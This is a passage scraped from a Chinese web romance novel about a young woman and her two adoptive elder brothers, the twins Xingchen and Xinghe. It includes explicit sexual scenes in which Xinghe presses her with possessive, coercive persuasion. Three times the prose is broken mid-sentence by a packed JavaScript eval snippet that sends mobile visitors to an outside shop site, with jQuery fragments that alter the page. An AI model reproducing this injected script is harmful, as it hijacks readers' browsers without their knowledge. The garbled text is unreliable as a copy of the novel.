她的纠结落在顾星沉的眼里，他沉吟片刻，“你可以叫个朋友过来陪你。” 宝玥一愣，倒是没想到他知道自己怕孤单。 顾星沉见她不说话，眉头一蹙，又问：“不行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889310|192165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 宝玥感觉他好像不耐烦了，忙说道：“我早不怕了，大不了回学校。” 前后矛盾，毫无说服力的说辞。 啊，她在说什么鬼。 可能顾星沉见多了胡言乱语，表情没任何变化，“那我走了，你把门关好。” 走出门口，他脚步微顿，背对着她补了一句：“有事打我电话。” “好，大哥慢走。” 宝玥战战兢兢地送走他。 *** 因为下午检查燃气耽误些时间，这一晚的体能训练比平时晚一小时结束。 顾星沉习惯性开车回南郊，耳边又响起弟弟的声音。 “妹妹没有亲人了，好可怜。” “妹妹一人肯定怕孤独。” “妹妹怕黑不敢一人睡觉。” “哥哥，我们不是妹妹亲人吗？为什么不能陪妹妹睡觉？” …… 这些年，他总是听他这样念叨，真真假假听多了也都成真的。 他本是没什么感觉，直到下午，她问自己晚上回不回时，小鹿一样清澈的目光带着某种期盼。 就像那日，就像梦里，缠住他的神智。 引擎低声轰鸣，他一打方向盘，朝着那个有她在的家驶去。 一推门，就见妹妹从沙发站起，惊喜道：“大哥，你回来了！” 顾星沉的目光掠过她宽松单薄的纱裙，立刻移开了视线，余光仍被那洁白如瓷的锁骨晃到，他喉结滚了下，嗓音略沉，“怎么还没睡？” “房门锁坏了……我刚想给你发信息。” 她声音很小，尚处在打开与他的聊天框，看见彼此上一次对话还是一年前的震惊中，纠结着怎么起头。 “坏了？”顾星沉换上拖鞋，脱下运动衫，目不斜视地递给她，“穿上。” 宝玥平时在家都是这样穿的，没有觉得哪儿不对劲，对他突然递衣服的行为感到莫名其妙，但还是听话地套上了。 外套又宽又长，拉链一拉，从脖子到大腿都遮了严实，残留的体温就像暖流包裹着她。 宝玥亦步亦趋地跟在顾星沉身后，见他走到自己卧室门口，转了两下，发现的确打不开。 她主动解释起原因，“收衣服的时候，风太大把门刮上了，之后就打不开了。” 她本来是想叫物业的，但发现自己穿得不得体，在这种情况下叫哪个男人都不对，除了哥哥…… 顾星沉嗯了一声，“你先去星河房间待着，我叫物业来。” 他的语气依旧平淡，但安排得果断利落。 宝玥如蒙大赦，连忙点头。 原本空荡又安静的大房子里，很快响起了顾星沉沉稳的脚步声和压低嗓音的通话声。 他联系物业、说明情况、指挥维修，每一个环节都安排得井然有序。 宝玥躲在顾星河的房间里，听着门外隐约传来的动静，那份忐忑不安渐渐被一种奇异的安稳感取代。 大哥说不回来，结果还是回来了。 她两次向他发出信号，他都回应了。 就在这时，顾星河打来了视频。 宝玥本来不想接的，但想到逐光战队是今天比赛，她还是接了起来。 视频画面刚亮起，宝玥叫了一声哥，就见画面里的人笑容肉眼可见得冷了几分。 “你身上的衣服……大哥的？他在家？” 8. 第 8 章 顾星河看见大哥的衣服披在妹妹的身上时，瞬间就明白是什么意思。 他这么多年有意将妹妹养得单纯，模糊兄妹和男女关系的差别，是为满足自己那点见不得人的私心。 不懂回避哥哥的妹妹，能这样对他，自然也能这样对顾星沉。 这种认知让他感到无比嫉妒，仿佛私藏的宝贝被人开箱偷窥，让他恨不得现在就飞回妹妹身边。 他的嗓音冒着凉气，“把他外套脱了，拿我衣柜的衬衣。” 谁的衣服不都是一样吗？反正都不是她的，但她还是照做了。 顾星河又问他为什么在家。 宝玥不确定是不是因为下午自己说得话。 但她清楚这事绝不能提。 二哥这人脾气一向很好，唯有照顾她这件事上，一直和大哥不对付，她从小吃得穿得都是二哥亲力亲为，不是请不起保姆，而是二哥不喜欢别人参与这件事，特别是大哥。 只要大哥送了礼物，他转头也要送一份。 后来，大哥进入顾氏集团，给她支付生活费这事也顺理成章落在他手里，同年二哥也开始拉团队创业，说是要给她挣零花钱，要她以后只花二哥的钱。 他永远争那个对她最好的人。 她只好把今天发生的事情说了一遍，从检查燃气说到门锁坏了。 顾星河全程平静地听着她说话，最后才露出一丝愧疚的笑意，“是我没考虑周到，玥玥一个人睡觉会怕吧，我这就打电话让季行乐来陪你。” “别！这么晚打扰人不好，而且大哥在的呀。” 在他回来后，她的心情已经没那么忐忑了。 顾星河笑得更柔软了，“你听我的，这次我帮大哥处理了点事，他才好心来看燃气，一会说不定就走了。” 原来是顾星河让他帮忙的。 这就说得通了。 顾星河用不容置喙的口气说道：“大哥忙，你就别麻烦他，我和季行乐说，先忙了，晚点给你发比赛照片。” 正好顾星沉来敲门，不轻不重、力度一样的三下，“可以出来了。” 顿了顿，又补充道：“我先上楼。” 宝玥忙把门打开，“大哥，给。” 顾星沉顿住脚，没有回头，只用余光扫了眼她手上的衣服，面无表情地伸手接过。 宝玥和他提前打招呼，“季行乐一会过来。” 顾星沉嗯了一声。 季行乐来得很快，不到半小时就打着呵欠出现在家门口，嘴里嘀嘀咕咕着有人大晚上不做人，为了照顾自己妹妹，把她从美容觉中吵醒。 她倒头躺到宝玥的床上，一把搂过她贴贴，“来，宝儿，合个影发你哥。” 手机按下快门的同时，她突然侧脸在宝玥吧唧一口。 宝玥吓了一跳，“你干嘛？” 季行乐大笑着把照片发送，手机一关，丢到床头。 “OK，睡吧！” *** 马上要热身赛了，宝玥团队的机器人关键组件搭好就开始模拟比赛。 首轮测试数据合格。 宝玥似是逃过一劫，短暂地松了口气。 但负重问题依然没有解决，就像一根刺不拔不安心，第二轮要上实测，大概率会暴露，她必须在这之前解决。 这几天，她换了几组算法尝试都失败了。 忙碌的时间，早已将顾星河要求每天发消息的事抛诸脑后。 但他几乎天天都会与她联系。 发得都是一些日常，偶尔有些照片。 有他们在调试机器人，有比赛现场，也有他的三餐，还有街头庄严的骑马雕塑，古老街巷里慵懒晒太阳的猫。 琐碎的，但又事无巨细。 既是分享，又是报备行踪。 这种相处方式令她感到陌生。 过去，都是他要求她报备自己的行踪。 这是第一次，他主动且持续地将自己完全展露给她看。 她知道是什么意思。 也不好不回复。 但两人倒时差，等她看到他消息的时候，他应该要睡下了，她便顺理成章地以此为借口，延迟回复或干脆不回。 几日后，逐光战队在首届全球机器人大师赛夺得季军的消息已席卷校园。 老师在课上提起此事也难掩激动：“这是国内高校首次在世界舞台斩获殊荣！” 也有人为之惋惜，说若顾星河能亲自上场，冠军都能是囊中物。 四面八方来的人都恭喜她。 奇怪得是她第一回没有生出强烈的自豪感，只有一种无孔不入的无奈。 众所周知，顾星河的妹妹在智院读大一。 至于怎么众所周知的，那又是另一个众所周知了。 顾星河是个超级妹控，认识他的人总能听他提起妹妹。 顾星河妹妹。顾星河妹妹。 她甩不掉他的名字，就像她甩不掉他这个人。 随着官方图片的发布，一张顾星河俯身帮女队员调试机器人的特写意外走红了。 颜值出众，画面养眼，引得不少人直呼“般配”，甚至有人开始嗑起了CP。 尽管照片中两人毫无眼神交流，更无肢体接触，校园论坛上的流言却愈演愈烈。 连周怡都拿着照片来问宝玥：“他们是不是有戏啊？” 宝玥不假思索地回答，“没戏。” “啊，你这么肯定啊？” 宝玥当然肯定。 他一天至少18小时粘着她，哪来时间找女朋友？ 这不回国第一时间就给她打了两个电话。 下飞机一个，到家一个。 “玥玥，我到家了，你到哪儿了？” 宝玥压根就没回去的想法，她正要抛出早已想好的借口，电话那头的声音骤然虚弱，“我生病了。” 她的心瞬间揪紧，立马想到前几日看见的新闻说欧洲最近爆发禽流感，“是什么病？严重吗？” “可能是太累了吧。”他语气轻描淡写，随即转移了话题，“不是说4点到么，你怎么还没到？” 只是回家一天而已，兄妹之间，总不能连面都不见。 何况他这些天并未再说什么令人困恼的话。 没想到，平日神龙见首不见尾的大哥竟比她还早到家，她进门时，他正接着施柔的电话，她似乎也不在国内，要他好好照顾弟弟。 难道病得很重？ 宝玥的心猛地一沉，来不及多想，急匆匆推开了顾星河的卧室门。 他靠坐在床头，脸上敷着冷毛巾，听到动静时，一掀毛巾。 那双因发烧而格外湿润的眼眸直直看向门口的她，眼底暗光翻涌，却又在瞬间被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889311|192165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压下去，待宝玥走近时，只看见一片平静的温柔，他笑得软弱无力，“怎么这副表情？哥没事，只是有点累，刚刚医生看了，没事。” 宝玥见他脸色苍白，不由恼火，“都生病了为什么不等好了再回来啊，生病还要坐十几小时飞机！” 顾星河只是笑笑，“你没有什么想问我吗？” 宝玥还处在他对自己身体不负责任的生气中，没反应过来，“什么？” 顾星河拿出手机，屏幕亮着，正是论坛上那张他与女队员的照片。 宝玥看了一眼，“怎么了？这拍得挺好的。” 她的表情没有任何勉强，她是真的，毫不在意。 他日夜兼程、不顾病体赶回来，就是担心她嘴上说着不在意，其实心里在偷偷委屈，他只有亲眼看到她才放心。 结果她并不需要他的解释，也不需要他的安抚。 顾星河唇角扯起一抹笑，分不清是自嘲还是别的什么，“这么多天，让你每天发消息都做不到，视频都是我主动打的……” 话到一半，他适时停住，像是无奈地纵容：“算了，原谅你了，你也忙，我们还倒时差。” 他竟当着顾星沉的面，说出如此暧昧不清的话！ 宝玥窘得耳根发烫，只想逃离，然而一旁的顾星沉却仿佛习以为常，递上一支药剂：“张医生拿来的，喝了。” 或许这些对话在大哥看来真的再正常不过？ 是她自己心里有鬼，才觉得处处是破绽。 宝玥努力平复心跳，看着顾星河喝完药，伸手探了探他的额头，“还这么烫，难受吗？……怎么好像更烫了？” 那微凉的手掌主动贴上顾星河滚烫的额头，他身体一僵，险些失控捉了它，让它永远停留在自己皮肤上。 他费了点劲才压下眼底的贪婪，微笑道：“陪哥说说话就不那么难受了，期末考成绩出来了，这次第几？” “还是第二，第一名太厉害了，依然是断层。” “那也很厉害。” 他语气寻常，完全是一个关心妹妹学业的兄长模样，只字不提让她回家住的事，宝玥逐渐放松了下来，没有进门时的忐忑，也浑然没察觉两人的距离在不断缩短。 顾星河的注意力几乎都被那张一开一合的唇引去，理智在被身体的热度侵蚀，如果不是还有第三个人在这儿，他可能已经亲上去了。 顾星沉一语不发地看着交谈甚欢的两人，重新拧了把冷毛巾递给弟弟，便转身离开了房间。 他这一动，仿佛拉了警报，宝玥立马跟着起身。 她的手腕突然被滚烫的手攥住。 “多陪我一下不行么？” 顾星河声音温柔低哑，带着病态的虚弱，比平日更添了几分磁性。 宝玥颤了下，生怕顾星沉突然回头发现什么，又怕他走远了丢下自己和顾星河独处。 她急切地讨好他，试图换取自由，“我去看看晚上吃什么？哥，我给你做饭，你想吃什么？” 两人的目光交织着，顾星河的眼底的笑意一点点抽开，终于在她无助可怜的目光下，缓缓松开了手。 “我想吃鱼。” 宝玥松了一口气。 顾星河盯着她慌乱的背影，空气中的甜香如同被拉长的糖丝，终于断了。 指尖还残留着肌肤的触感，他抬起手舔了舔。 9. 第 9 章 自从宝玥去年上了大学，家里就没有阿姨。 宝玥就着上周剩下的食材和现买的活鱼，很快拟好了今晚的菜单。 顾星沉走来时，她正拧开水龙头洗番茄。 流水淌过她纤细的手指，晶莹的水珠在光下跳跃。她的手很小，不能完全包裹住一个番茄，艳丽的红色从白皙的指间透出，显得娇艳欲滴。 他默然立于门边，望见她抬起胳膊擦拭额角，一小缕碎发随之垂落，他指节微微曲了一下。 宝玥将碎发勾到耳后，“大哥，你去忙吧，我一个人就可以。” 她刚说完，那修长挺拔的身影就走到案台，用那签亿万合同的手端起一盆几块钱一斤的豆子，沉声问道：“这个要怎么处理？” 宝玥惊呆了，“大哥？” 刚搬家那一会，宝玥愧疚又感动，不知道怎么回报哥哥们，曾特别积极地揽家务，但哥哥们从不让她插手，请了阿姨。 阿姨的厨艺很好，她跟着学了几招，偶尔下厨。 但顾星河的厨艺更好，那是她小时候挑食被迫练出来的。 只有大哥从不不踏足厨房。 他和他们不同，作为顾氏集团的继承人，从小的饮食都有顾家营养师针对性定制，就连去国外留学的那两年，营养师也同行在侧。 若是施柔看见他进这种污秽油腻之地，一定会严厉地训斥他不务正业，且有失-身份。 宝玥惊疑地看着他，顾星沉又问了一遍，“怎么处理？” 虽然他此时已经换了一身居家的圆领T恤，少了正装的凌厉和气势，但有人天生就是上位者，即便是一句请教，也像极了发号施令。 宝玥下意识服从，慢动作剥了几个给他看。 他看得很专注，浓墨似的睫毛静静垂着，仿佛在审阅合同条款，事情不难，一学就会。 看着他越发娴熟地剥豆子，宝玥觉得这个世界好不真实。 施阿姨要是知道她竟然教大哥剥豆子，会不会弄死她？ 剥完豆子，他又帮忙她洗了蔬菜，两人没有交流，但他一直在给她打下手。 宝玥踮脚去够高处的瓷盘，动作小心翼翼，生怕失手打碎。 蓦地，一只手越过她的肩头，轻而易举地拿到了她想要的盘子。 那一刻，她被他的高大身躯笼罩，清冽的雪松气息与体温如网覆下，就像那夜披在身上的外套。 在她还未做出反应时，对方已经不着痕迹地退到安全距离，这一退，撕开了两人之间和谐的氛围，已宰杀的活鱼在她手中黏腻腻地扑腾两下，滑进瓷盘，惊醒了她。 那夜没想明白的事，在这一刻后知后觉。 ——他在刻意避开她。 为什么？ 因为最近麻烦他的事太多，所以被讨厌了吗？ 宝玥胸口闷闷，试图缓解尴尬，“大哥喜欢吃什么？” “都可以。” 他的声线依旧平稳无波。 问完这话，宝玥又是一怔。 如果是二哥，她根本不会问这种问题，他的喜好早已刻在脑中，但是她对大哥却是一无所知。 大哥从小沉默寡言，不好亲近，宝玥见到他就怕，她对他敬畏多于亲近，连说话都细声细气，何谈了解他的喜好。 他对她冷淡，但至少他每个月还会问一句她的钱够不够花，还会送她礼物，但她却从来没主动关心过他一句。 她这样区别对待两位哥哥，也不怪大哥和她不亲了。 餐桌上，二人全程没有眼神交流，顾星沉贯彻着食不语的顾家规矩，十分有教养且很尊重她这位“厨师”，没有看手机或者做别的事，很认真地享用食物。 也彻底避开与她的视线接触，与顾星河是完全两个极端。 宝玥主动给他夹菜，他的筷子明显一顿，似乎从未料到她会有此举动，沉声道了句“谢谢”，嗓音微哑。 宝玥局促地说声，“不客气。” 再没有比他们更客气的兄妹了。 她试图拉近了下二人关系，“大哥平时有什么兴趣爱好吗？” 顾星沉进食的速度慢了下来，抬眸看了眼她，咽下嘴中的食物，回答：“没有。” 见他神色倦怠，想起上回见他也是如此，她关切道：“大哥最近很辛苦？睡不好么？” “尚可。” “……” 看得出他不是很想聊天。 好在顾星河出来了。 他扶额坐下，目光扫过满桌的菜品，先将她的厨艺夸得天上有地下无，继而风卷残云，将她做的菜扫荡一空，看得宝玥自我怀疑，她厨艺有那么好？ 饭后，顾星沉竟然主动收拾碗筷。 宝玥连忙起身，但碍于他的气场，不敢直接去抢，“不行，不行，要是施阿姨知道了，肯定要说我的！” 顾星沉语气平淡，“没事。” 顾星河不以为意道地开口道：“他要洗就让他洗，几个碗而已，费不了什么事，你陪我说话话。” 宝玥的目光仍旧追随着顾星沉的背影，眼里的担忧快要溢出来，“我还是去帮大哥吧……” 顾星河气笑了，握住她的手腕，“洗碗都不会，他生活不能自理吗，要你帮忙？” 宝玥吓了一跳，她很不适应他这种不顾外人的亲密动作，皱了皱眉，想让他松开。 他笑意更深，肆无忌惮地用指腹摩挲着她腕间细嫩的皮肤，“哥这么难受着，你不该多陪陪我吗？” 话落，他将将侧脸放到她掌心，煞有介事地问她，“还烫么？” 餐厅里的低语断续传来，隐没于潺潺流水声中。 顾星沉抬起头瞥见厨房玻璃门的反光里，映出餐厅里那两道几乎融为一体的亲密身影。 指尖蓦地一痛。 他垂眸看见抹布中藏着一根细小鱼刺，已扎入皮肉。 鲜红血珠，悄然渗出。 *** 睡前，宝玥在看见顾星河第一条消息时就反锁了门。 虽然这个门锁才换的。 虽然大哥也在。 但她还是锁了。 顾星河发第二条消息时，她把手机关了。 反正就一夜。 明天就回去。 然而，她刚闭上眼，敲门声就响起。 不疾不徐，却震得她心神不宁。 她烦躁地拉起毯子蒙住头，企图屏蔽这扰人心神的声音。 外头却传来一声温柔的询问，“你想让大哥听见么？” 宝玥紧紧攥着毯子，攥成了一团，最终还是起身去开门。 顾星河从容地走了进来，反手合上门，笑眯眯地低吟了声，“就知道玥玥还是疼哥哥的。” 他就这么钻进她温热的毯子里，肆无忌惮地深深嗅了一口。 浓郁的香甜，仿若一场及时雨浇灌在烧干的躯体里，干涸贫瘠的土地迸发出新的生命。 睡衣粘上原本掉落在枕头的发丝，那是最亲密的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889312|192165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接触。 他一根根收拾起，放进自己口袋。 并朝仍旧站在门口的人招手，“过来。” 宝玥张了张嘴，到底什么也没说，认命地走过去，掀开毯子一角，脑袋刚碰到枕头，被他下一句话吓得爬起。 “我想做。” “不行……唔。” 又不让人把话说完！ 她被压倒在了床上。 滚烫的唇舌似一条灵活的小鱼在她的脸蛋、脖子上游动，不一会儿就将她舔得浑身发软，气息不稳。 他真的很会舔。 宝玥的理智还在负隅顽抗，顾星河无声地将她的手放在他的脖子上，尖尖的喉结被她触碰了下，如同平静湖面邹然跃起的鱼，又迅速沿着下颌曲线没入衣领。 她的手指被他牵引着一路尾随探入领口。 骨节分明的食指和中指从她指间穿过，灵巧地挑动着她的指头，轻而易举地将一颗颗纽扣解开，在逐渐粗重的呼吸声中，她一路被牵着抚过深刻起伏的肌肉曲线，感受着热到不正常的体温。 须臾，顾星河溢出低沉的喘息，似猛兽满足的喟叹。 宝玥从没听过这样蛊惑妖媚的声音，脑海中冒出了一堆有颜色的词汇，可每一个都与温润如玉的二哥那么不搭。 顾星河又凑近了点，月色在他眼里荡漾开，“玥玥的手真软，凉凉的，摸得哥哥好舒服。” 说话时，滚动的喉结将汗珠滴落在她的胸口。 他身上散发着与她同款沐浴乳的奶-香味。 他们的气息，汗液也早已融为一体。 他低下头，用鼻尖蹭了蹭她湿漉漉的脸，语气温柔得像化开的糖，“做一次好吗？哥热得难受。” 顾星河软磨硬泡，宝玥半推半就，又有了黏糊滚烫的一夜。 他身上的香是蛊，声音更是蛊。 她只在片中听过女人的叫声，还没听过男人的…… 如同月光在潮水上拖曳出波光粼粼的轨迹，如同鲸群沉入深海时发出低沉的长鸣。 她几次本该清醒，又被他的嗓音迷得找不着北。 直到她感觉自己内里要被烫伤了，才捂住了他的嘴，“别叫了……大哥会听到。” *** 顾星沉难以置信地睁了眼。 才过多久，又做了这样的梦。 他似是被自己的心跳惊醒，坐起时，身体仍停留在梦中极度亢奋的状态中，心脏以不正常的速度活跃着，滚烫的血液奔涌向四肢百骸。 他是一个自控力极强的人，从小到大没经历太大挫折，也没有过于热爱的兴趣，自然也未体验过激烈到失控的情绪与生理反应。 这种陌生的感觉让他怔忡了很久。 而当他意识到，梦中对象还是同一人时，羞愧耻辱与自我厌弃如同冰水，当头浇下。 他用冷水反复泼面，骤然抬头，望见镜中的自己。 乌黑深沉的眼里残留着汹涌的情-潮，眼角成滴血般的红色。 他浑然一震。 镜中影像倏忽变幻，竟成了梦中的人！ 洁白无瑕的背部，小巧的肩胛正以某种共振的频率舒展，仿佛一只伏在背脊上扇动翅膀的雨蝶，轻轻将那纱裙吹落，展露出被掐到不可思议弧度的腰-肢和饱-满的…… 他猛地后退了几步，逃似的离开卫生间。 当他回过神时，已经站在楼梯口。 妹妹卧室的门就像黑洞一样吸住了他的目光。 10. 第 10 章 浴室里冷水淅淅沥沥。 顾星沉已经在花洒下站了20分钟。 直到冷白色的皮肤发了皱，体温降低到寒颤时，他关掉了水阀。 冰冷的水珠顺着紧实的肌肉线条滑下，当身体的热度都被带走时，他依然无法平静下来，反而滋生了对另一种温热触感的渴望。 她踮脚拿盘子时，那薄薄衣衫撑起的蝴蝶骨，晚饭给他夹菜时，伸来青葱似的手指…… 这些本不该被记住的细节，莫名变得无比清晰。 *** 激烈之后，是绵长的余韵。 宝玥有气无力地蜷缩在床角，用毯子紧紧裹着还在颤栗的身体。 她又一次屈服了。 在顾星河温柔的诱哄下，理智如此不坚定地全面崩盘。 说好的一次，到后来她根本记不清多少次。 最后被抱去洗澡时，她的双手在浴缸沿壁打滑，几次想握不住，可怜兮兮得像一片飘在海面的孤舟，被翻涌的浪花推动着。 她失去了对身体的控制权，也失去了对感观的控制权。 那汹涌得不知为何的情绪将她堙灭。 时而难受得浑身绷紧，时而快乐得四肢发抖，唯一不变是眼泪流个不停。 她哭着说受不了，受不了。 贴在她耳边的声音和下蛊似的，“受得了，受得了的，玥玥心软，这里也是软的。” 浴缸里的水一圈圈荡漾出来，流了一地，整个浴室水汽氤氲缭绕，就像是为不可描述的画面掩上一层厚重的遮羞布。 顾星河卧躺在侧，指尖卷起她的发梢，餍足的神情像只偷腥成功的猫，还恬不知耻地发体验问卷，“今天的感觉怎么样？有没有尽兴？喜欢哪个姿势？……” 宝玥全当听不见。 她总在清醒之后选择躲进道德的高墙内，顾星河偏要将她拉回来。 他又叫了她两遍，她还是没理，他便凑上前咬了咬那白皙柔嫩的耳垂。 在乌黑秀发衬托下和珍珠似的，饱满圆润，他忍不住一口含进嘴里。 他实在太喜欢妹妹了。 又香又软，还很乖，特别在他使坏的时候，脸上挂着不可置信的泪痕，身体却已经开始欢迎他。 怎么办，又更喜欢了。 但妹妹没有那么喜欢他，只会享受他。 宝玥羞愤难当地推了下他，声音沙哑，“你出去，回自己房间去。” “累了，动不了。”他发出虚弱得仿佛下一秒就要死去的声音。 并将她连人带毯裹进怀里，像抱着最心爱的玩偶，“我还病着，需要照顾。” “……” 他刚刚的体力旺盛得吓死人，这会儿看他比下午要精神多了。 宝玥还想说什么，他学着她刚刚捂住他嘴的模样，原话奉还，“别闹了，大哥会听到。” “……” 大哥不是这样用的。 *** 清晨，宝玥顶着惺忪的睡眼出来，见顾星沉正坐在餐厅喝着咖啡，浏览平板。 他穿着笔挺的黑色正装，发型打理得一丝不苟，俨然是高冷矜贵的集团太子爷、顾氏继承人模样。 只是眼下淡淡的青色，他的睡眠好像又更差了。 “大哥，早。” 她自己心里藏着事，也没敢多引起他注意。 顾星沉嗯了一声，收拾完自己的早餐，转身离开，一个眼神也没留给她。 还是在刻意避开她。 宝玥叹了口气，又看向厨房里的二哥。 朝阳给他的轮廓镀了一层光，斑驳的光点落在他转身看她的笑眼里，熠熠生辉，连那小酒窝都生动了不少。 他端来了两碗汤面，是她喜欢的三鲜面，有虾仁、鱼丸、香菇，料加得很足。 大约是昨晚累到了，连胃口也比平时大，一碗面吃得干干净净，连汤也喝完了。 这无疑是对厨子的最高评价，顾星河笑眯眯地又将自己的鱼丸夹进她碗里，“过两天科技节开幕，我要上台致辞，你帮我选选衣服。” 宝玥咀嚼着嫩滑Q弹的鱼丸，“让造型师安排就好嘛。” “你不是哥哥的御用造型师吗？” 宝玥低了头，装出浑不在意的样子，“那是我以前不懂事乱说的，没分寸，这种场合还是专业人士来吧。” 瞥了眼走下楼的人，顾星河突然笑了，“玥玥昨晚也没分寸呢。” 宝玥差点呛住，瞪着他说道：“好，好，我给你选。” *** 一楼有个单独的衣帽间，是她和顾星河共用的，三分之二的区域放着她的衣物，他们的区域是隔开的，也是相邻的，更是一个整体的，熏染着同一款香。 她的指尖掠过一排不同面料、颜色的衬衣，最后停在一件浅灰暗纹的府绸衬衫上，又给他选好了搭配的宝石袖扣，“这样可以吗？” 顾星河笑了笑，“不确定，穿上试试。” 他说着就当着她的面解衣扣，宝玥赶紧别过脸去，“你别这样啊。” 顾星河根本不听，一下就脱了，拿过她选中的衬衣换上，“来帮我系领带。” 宝玥余光瞥了眼他已经穿戴整齐了，这才走上前。 她仰起头时，他配合地低下头，距离骤然拉近到能触到彼此气息，偏生那双眼睛温柔缱绻地望着她，仿佛下一秒就要接吻。 宝玥佯装看不见，轻轻踮脚，将丝滑的领带绕过他的后颈，落在他领口，她的手指灵巧地缠绕着打结，但不可避免地触碰到他的喉结。 一碰，就滚一下，无声地撩拨她。 “……姑姑会来吗？” 她不得不转移注意。 顾星河噙着一抹笑，仰起头，“会吧，往年都来，偶尔会上台致辞。” “……哦。” 谢天谢地，领带终于打好了。 她赶紧退到社交安全距离，指着全身镜问道：“怎么样？” 顾星河自然是满意得很，“领带打得真好看。” 他很少穿这样正式的套装，和大哥形似到九成，如果神情疏冷些，简直一模一样。 “像吗？” 宝玥无意识嗯了声，猛地被镜中骤然发冷的目光 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根本没来得及想他为什么会出现在这儿，他这会儿不说话，让宝玥不知道是该松手还是该继续，怎么样都好尴尬。 他一动不动地站着，似乎在等着她……继续？ 她只好硬着头皮帮他整理。 这时，身后传来二哥的声音，“你怎么来了？姑姑呢？” 宝玥一拉收紧，迅速松手，往旁边退开了一步，给顾星河让道。 顾星沉面上波澜不惊，先说了声谢谢，再回答他的问题，“她有事，我替她过来。” “咳，我有事先去忙了。” 趁两人说话，宝玥溜之大吉。 顾星河瞟了眼她跑得飞快的身影，双眼眯成狭窄的缝，似是开玩笑般地问道：“你们关系什么时候这么好了？” 顾星沉反问：“我应该怎么做？当众拒绝？这很没教养。” 顾星河意味不明地勾了下唇，“是吗？” 骤然直接抛出了问题，“我不在的时候，你们发生什么了？” 顾星沉低头摸眼镜盒，“你确定要在这种场合谈论吗？” 他的表情纹丝未动，声音四平八稳，连顾星河也难以发现破绽，他直勾勾地看着他从容地戴上眼镜，模糊了年轻的痕迹，上位者的威严扑面而来，令人无法直视。 双胞胎兄弟原本九分相似的外貌，直降到七分。 他勾唇一笑，“好好戴着，别又让人认错。” 别人说他们兄弟俩像，他没感觉，但如果是妹妹，他会感到无比膈应。 每一次妹妹对大哥笑，对他轻声细语说话，他都忍不住嫉妒，更别提认错人示好，刚刚那一刻，他甚至对亲兄弟产生了巨大的恶念。 这些本该全是他的，妹妹是他一人养大的，他什么也没做，就仗着一张与他一模一样的脸就能得到妹妹的笑容和讨好，凭什么？ 11. 第 11 章 顾星沉是临时代替姑姑出席活动，校方没有准备他的台卡，也没有安排他发言。 只是他光坐着就透着与周围不同的气场，很难让人略过，很快就有校领导和院系教授过来与他打招呼。 他起身与他们一一握手，高冷但不高傲，待人周到有礼，不论是院校领导还是德高望重的老教授与他搭话，他都能应对两句，行为举止叫人挑不出任何错处。 顾星河找到宝玥，笑眯眯地说道：“一会记得给我多拍几张。” 宝玥撇了下嘴，“你叫大哥啊，他坐第一排。” 顾星河弹了她额头一下，“少在我面前提别的男人，大哥也不行，刚刚给他打领带，我还没和你算账。” 宝玥嗫嚅了一声，“我认错了。” “我知道，一会结束了等我一起走。” 宝玥根本不想回家，“我和室友约好了一起吃饭……” 刚说完，周怡就从过道跑了下来，“顾学长，恭喜恭喜，帮南大争光了！对啦，宝玥，你和你哥说吃饭的事了嘛？择日不如撞日，今天有空吗！” 宝玥本就没把这事放在心上，早就忘了。 顾星河问了两句才知道，在外人面前自是不会戳穿妹妹的小心思，他爽快地应下，“今天吗？也可以的，玥玥能吃什么，我就能吃什么。” 他就仗着兄妹关系，故意在外人面前说这样暧昧的话。 宝玥都不知道怎么接。 周怡哈哈笑了两下，“好，那我和宝玥商量下！学长放心吧，新闻稿的照片一定给你拍得帅帅的。” 她晃了晃怀里的相机。 顾星河眉眼含笑，“那谢谢了。” 不知道是不是给大哥打领带的事惹到他，顾星河几次在室友面前开口，说得都是令人误会的话，行事也越发明目张胆，临走前，直接拿起她的杯子，把剩下的橙汁一饮而尽，用得还是她喝过的那一边。 两位室友的表情明显呆滞了下。 宝玥差点没绷住。 这顿饭吃得精疲力尽，更加坚定了要与他划清界限。 顾星河却突然握住她手腕，对她两位室友说道：“我们还要去商场买点东西，你们先走吧。” 周怡和王婷迷迷登登地应着哦哦好。 双方在电梯口分道扬镳。 宝玥甩开他的手，“你不要再做这种令人误会的事了。” 顾星河：“误会？哥哥牵妹妹有什么误会？” 他蓦地又抓过她的手，十指相扣地握牢，“还是说你想得是这样？” 宝玥再想抽走，他不让了，“走吧，去买礼物。” “什么礼物？” “之前说好补给你的礼物，又忘了？” 这个又字仿佛在嘲讽她。 不是忘了，是刻意忽略罢了。 宝玥被带进了奢侈品店。 销售顾问看到他们进来，惊喜万分，“顾先生，怎么没提前打个招呼，快请进，快请进，需要什么，我立马安排拿货。” 顾星河笑笑，“看看手链。” 